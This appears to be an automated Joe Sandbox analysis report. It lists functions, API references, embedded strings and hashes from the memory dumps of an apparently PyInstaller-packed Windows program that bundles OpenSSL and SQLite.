X509_new_ex.LIBCRYPTO-3 ref: 00007FFE014187AD
d2i_X509.LIBCRYPTO-3 ref: 00007FFE014187D6
X509_free.LIBCRYPTO-3 ref: 00007FFE01418AA9
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE01418AC3

Strings

tls_process_server_certificate, xrefs: 00007FFE0141869C, 00007FFE01418974, 00007FFE014189B0, 00007FFE014189D3, 00007FFE01418A00, 00007FFE01418A33, 00007FFE01418A73
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE014186A3, 00007FFE014188FD, 00007FFE01418958, 00007FFE01418980, 00007FFE014189B7, 00007FFE014189DF, 00007FFE01418A0C, 00007FFE01418A3F, 00007FFE01418A7F

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_sk_new_nullL_sk_pop_freeR_newR_set_debugX509X509_freeX509_new_exd2i_
String ID: ..\s\ssl\statem\statem_clnt.c$tls_process_server_certificate
API String ID: 3085087540-2730446810
Opcode ID: 315431db18c12023796a053d5de58d2bd94c0d8fa141812588da63fc10d1168d
Instruction ID: 7c972cd1e05682222aa08831b65600da6e6db98800b44b10366bd7bc5e768272
Opcode Fuzzy Hash: 315431db18c12023796a053d5de58d2bd94c0d8fa141812588da63fc10d1168d
Instruction Fuzzy Hash: 12C1A022E0CA8286E7209B65D4507FD6391FB91B84F548132DA9C4FAFADF3CE591C741

Function 00007FFE013F8E90 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CRYPTO_malloc.LIBCRYPTO-3 ref: 00007FFE013F8F35
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013F8FE2
CRYPTO_malloc.LIBCRYPTO-3 ref: 00007FFE013F8FFD
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F906C
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F9079

Strings

ssl3_setup_write_buffer, xrefs: 00007FFE013F9056
ssl3_setup_read_buffer, xrefs: 00007FFE013F8F41
..\s\ssl\record\ssl3_buffer.c, xrefs: 00007FFE013F8EBB

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_malloc$O_freeR_newR_set_debug
String ID: ..\s\ssl\record\ssl3_buffer.c$ssl3_setup_read_buffer$ssl3_setup_write_buffer
API String ID: 2137838121-2302522825
Opcode ID: 41b14016a5de173917296c4299a2bde117f34dca643994363d44068cb7ab499a
Instruction ID: b4d944e108500f877bd315f41868f82e7f04d755fe7a2161fe1423bc1e41112a
Opcode Fuzzy Hash: 41b14016a5de173917296c4299a2bde117f34dca643994363d44068cb7ab499a
Instruction Fuzzy Hash: 2F51B272B08B8285FB10AB16E8447A963E9FB84B88F5A0539EF4C5B7A5DF3DD445C300

Function 00007FFDFF1A92B0 Relevance: 14.0, APIs: 6, Strings: 3, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1A937F
memset.VCRUNTIME140 ref: 00007FFDFF1A93F7
memcpy.VCRUNTIME140 ref: 00007FFDFF1A945E
memcpy.VCRUNTIME140 ref: 00007FFDFF1A9480
memcpy.VCRUNTIME140 ref: 00007FFDFF1A963E
memcpy.VCRUNTIME140 ref: 00007FFDFF1A9667

Strings

immutable, xrefs: 00007FFDFF1A97FD
-journal, xrefs: 00007FFDFF1A9646
nolock, xrefs: 00007FFDFF1A97C5

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: -journal$immutable$nolock
API String ID: 438689982-4201244970
Opcode ID: 95dfc5eb3a2b91b0b05eae05496405c8b320d85879105ed79006f32c0b4f1719
Instruction ID: 8737c4677ba477c44e48c5c2e00f997375d340692a714a8291c721bef9189bf5
Opcode Fuzzy Hash: 95dfc5eb3a2b91b0b05eae05496405c8b320d85879105ed79006f32c0b4f1719
Instruction Fuzzy Hash: 4D324D23B0968286EB658F259460B7937A1FF45B94F444335CA7E8B7D8DF3CE8958700

Function 00007FF6BAF26964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF266D9
Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF26757
Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF267A8

CreateFileW.KERNEL32 ref: 00007FF6BAF26A6A
CreateFileW.KERNEL32 ref: 00007FF6BAF26ABA
GetLastError.KERNEL32 ref: 00007FF6BAF26AEA
GetFileType.KERNEL32 ref: 00007FF6BAF26AFF
GetLastError.KERNEL32 ref: 00007FF6BAF26B09
CloseHandle.KERNEL32 ref: 00007FF6BAF26B3C
CloseHandle.KERNEL32 ref: 00007FF6BAF26C9F
CreateFileW.KERNEL32 ref: 00007FF6BAF26CD4
GetLastError.KERNEL32 ref: 00007FF6BAF26CE3

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 6285636dd552b6028bfe1a365722ac32f162696451b604b36db72aaf5daa0b24
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: C1C1BE36B28B8685EB50CFA9C4906EC3769FB89B99B014279EF1E97794CF38D451C340

Function 00007FFDFF214C70 Relevance: 9.4, APIs: 3, Strings: 3, Instructions: 370COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF214CDF
memcpy.VCRUNTIME140 ref: 00007FFDFF214EFD
memcpy.VCRUNTIME140 ref: 00007FFDFF214FAE

Strings

database schema is locked: %s, xrefs: 00007FFDFF214E56
statement too long, xrefs: 00007FFDFF214EB3
out of memory, xrefs: 00007FFDFF214D5F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 438689982-1046679716
Opcode ID: 7bb8fb106150e98f21b1c408275134b6065853ef3a0074e95bd06c99deb59afa
Instruction ID: fa204d189380a18393dfb6a4a8decac0be81a6e73ce8aa0ac080913aadd07bea
Opcode Fuzzy Hash: 7bb8fb106150e98f21b1c408275134b6065853ef3a0074e95bd06c99deb59afa
Instruction Fuzzy Hash: 94F19222B0868296FB258F219461BBA67A0FB86B58F184235DA7DC77DDCF7CE540C344

Function 00007FFDFF1B2250 Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 586stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFF1B22C7
memcpy.VCRUNTIME140 ref: 00007FFDFF1B2403

Strings

:memory:, xrefs: 00007FFDFF1B22BD

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpystrcmp
String ID: :memory:
API String ID: 4075415522-2920599690
Opcode ID: f963e081ade6bb53bb43bf6ace0cd5aadf94e065bdc22280a4e52e05e89868a5
Instruction ID: c2f05de53ecef48dbd63bd59fe4c46a68b04518bcc21ca8343adc4fecf8bc3e3
Opcode Fuzzy Hash: f963e081ade6bb53bb43bf6ace0cd5aadf94e065bdc22280a4e52e05e89868a5
Instruction Fuzzy Hash: ED425E22F197C2C2EB669B259570B7927A0BF95B84F044235CA7D867D8DF7CE8998300

Function 00007FF6BAF09280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6BAF092B3
FindClose.KERNEL32 ref: 00007FF6BAF092C2

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 683a9afc177114f6a052cdd9d62e3da4ec384d63b13d22f2f7dab2fb228107e4
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 9CF0A422A1878286F7708F68B4987AA7394EB84765F040239DF6D436D4DF3CD0598A00

Function 00007FFDFF1A1230 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFDFF1A1255

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction ID: cee4ef4ab749d5d3e218c3244ad454238a61d38fe4d84fad69f554a707cc97be
Opcode Fuzzy Hash: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction Fuzzy Hash: 57A1E626F1AB8781FF548B45A874A7423A4BF55B40F540739C93EEA7E8DF2CE8948600

Function 00007FFE013B1C1C Relevance: 70.6, APIs: 37, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013F6EEC
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F7113
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F712B
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F728B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F72A3
BIO_clear_flags.LIBCRYPTO-3 ref: 00007FFE013F730E
BIO_set_flags.LIBCRYPTO-3 ref: 00007FFE013F731B
memcpy.VCRUNTIME140 ref: 00007FFE013F735A
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F747D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F7495
memcpy.VCRUNTIME140 ref: 00007FFE013F7510
OPENSSL_cleanse.LIBCRYPTO-3 ref: 00007FFE013F7543
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F75BB
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F75D3
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F75E8
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F7600
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F76E8
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F7700
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F7720
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F7738
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F774D
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F7765
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F786E

Strings

SSL alert number %d, xrefs: 00007FFE013F7682
..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFE013F7124, 00007FFE013F729C, 00007FFE013F748E, 00007FFE013F75CC, 00007FFE013F75F9, 00007FFE013F7631, 00007FFE013F766B, 00007FFE013F76CC, 00007FFE013F76F9, 00007FFE013F7731, 00007FFE013F775E, 00007FFE013F77A6, 00007FFE013F77CD, 00007FFE013F7867
ssl3_read_bytes, xrefs: 00007FFE013F7118, 00007FFE013F7290, 00007FFE013F7482, 00007FFE013F75C0, 00007FFE013F75ED, 00007FFE013F7625, 00007FFE013F765F, 00007FFE013F76C0, 00007FFE013F76ED, 00007FFE013F7725, 00007FFE013F7757, 00007FFE013F779A, 00007FFE013F77C6, 00007FFE013F7860

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$memcpy$L_cleanseO_clear_flagsO_set_flags
String ID: ..\s\ssl\record\rec_layer_s3.c$SSL alert number %d$ssl3_read_bytes
API String ID: 480058824-3615793073
Opcode ID: 6ce1f1e6ab867371c9ac5fdbcfd9244af31884eb36a4143032fe0f8282fb1a6d
Instruction ID: 3ab040940e60143ab71e2ca1ac8a71ccb36d89d4ceac5bb0d447b9e3b1456b0c
Opcode Fuzzy Hash: 6ce1f1e6ab867371c9ac5fdbcfd9244af31884eb36a4143032fe0f8282fb1a6d
Instruction Fuzzy Hash: B052AD21A086C386FB64AB65E4413BD36A1EF51B84F954039DA4E2F6F9DF3DE885C301

Function 00007FFE013B14BF Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE0140F1BC
SetLastError.KERNEL32 ref: 00007FFE0140F1C3
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F2A4
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140F2BC
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F2E5
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F30A
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F32C
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F34D
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F372
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F39B
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F44B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140F463
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140F47E
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140F496
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE0140F4A8
BUF_MEM_free.LIBCRYPTO-3 ref: 00007FFE0140F4B3

Strings

state_machine, xrefs: 00007FFE0140F2AE, 00007FFE0140F450, 00007FFE0140F483
..\s\ssl\statem\statem.c, xrefs: 00007FFE0140F2B5, 00007FFE0140F45C, 00007FFE0140F48F

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_new$R_set_debug$ErrorLastM_freeR_clear_errorR_set_error
String ID: ..\s\ssl\statem\statem.c$state_machine
API String ID: 1370845099-1722249466
Opcode ID: 0d32384d7316208965964d29d91abcf0daa34d1bc1be83e9d84aa4d08f48a424
Instruction ID: c34fd5188356421667fc7f1b6f919a4d176946db488b95e56b00ce9e7fc834fd
Opcode Fuzzy Hash: 0d32384d7316208965964d29d91abcf0daa34d1bc1be83e9d84aa4d08f48a424
Instruction Fuzzy Hash: CBA15D21E0C64283FBB2ABA6D4513BD2291EF51B54F584039DD0D4E6FACE3DEC898342

Function 00007FF6BAF01950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF07F90: _fread_nolock.LIBCMT ref: 00007FF6BAF0803A

_fread_nolock.LIBCMT ref: 00007FF6BAF01A1B

Part of subcall function 00007FF6BAF02910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6BAF01B6A), ref: 00007FF6BAF0295E

Strings

fread, xrefs: 00007FF6BAF01A32, 00007FF6BAF01B5C
fseek, xrefs: 00007FF6BAF019F5
Failed to seek to cookie position!, xrefs: 00007FF6BAF019EE
Error on file., xrefs: 00007FF6BAF01B8D
calloc, xrefs: 00007FF6BAF01A68
Could not read full TOC!, xrefs: 00007FF6BAF01B55
Failed to read cookie!, xrefs: 00007FF6BAF01A2B
Could not allocate memory for archive structure!, xrefs: 00007FF6BAF01A61
MEI, xrefs: 00007FF6BAF01991
Could not allocate buffer for TOC!, xrefs: 00007FF6BAF01B1B
malloc, xrefs: 00007FF6BAF01B22

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: ed5d37bd12c92faad5b6bf746ee66ab535d4fcd70a2e81ebf99a2f5a44e873f3
Instruction ID: 7631a0c59d441e8094efecf86cd97baec6c4c6261d06182d154405905725ac6c
Opcode Fuzzy Hash: ed5d37bd12c92faad5b6bf746ee66ab535d4fcd70a2e81ebf99a2f5a44e873f3
Instruction Fuzzy Hash: 4B8182B1A0868686EB30DF28D0416F923A9EF84786F448476EF8DC7785DE3CE5858744

Function 00007FFE0140ECC0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

read_state_machine, xrefs: 00007FFE0140EF4D, 00007FFE0140EF8A, 00007FFE0140EFB2, 00007FFE0140F025
..\s\ssl\statem\statem.c, xrefs: 00007FFE0140EF54, 00007FFE0140EF91, 00007FFE0140EFBE, 00007FFE0140F031

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem.c$read_state_machine
API String ID: 0-3323778802
Opcode ID: c8972936501a879b7e84c5051af7770807ba9d65b882bacb7b5450dec163fd8f
Instruction ID: cd53bc5ae7564a599ad38d9572772d2bb4e0c548d653091cc3b7da47e1ce269a
Opcode Fuzzy Hash: c8972936501a879b7e84c5051af7770807ba9d65b882bacb7b5450dec163fd8f
Instruction Fuzzy Hash: AE918C32A0964682EB619FA6E4903BD2791EF81B48F58453ADE0D5F6F5DF3CE846C340

Function 00007FFE0140F6B0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3(?,?,FFFFFFFF,00000000,00007FFE0140F416), ref: 00007FFE0140F762
ERR_set_debug.LIBCRYPTO-3(?,?,FFFFFFFF,00000000,00007FFE0140F416), ref: 00007FFE0140F77A

Strings

..\s\ssl\statem\statem.c, xrefs: 00007FFE0140F773, 00007FFE0140FA62
write_state_machine, xrefs: 00007FFE0140F76C, 00007FFE0140FA5B

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem.c$write_state_machine
API String ID: 193678381-552286378
Opcode ID: e5d1fe94fccde403d4ccffd35c49600b4c13cc4e7178492653a3fc2a8d140b00
Instruction ID: 08f773b22291ac0f4e231e46aabea2968409ce9b11a37e417f9ffe8352b4d9f8
Opcode Fuzzy Hash: e5d1fe94fccde403d4ccffd35c49600b4c13cc4e7178492653a3fc2a8d140b00
Instruction Fuzzy Hash: 2EA19032A0864386EB76DF66E4A43BD2360FB44B88F44413ADA4D4B6B5DF3CE949C741

Function 00007FF6BAF01470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF6BAF015E6
fseek, xrefs: 00007FF6BAF014E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6BAF015DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6BAF014DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6BAF0149F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6BAF01518
malloc, xrefs: 00007FF6BAF0151F

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

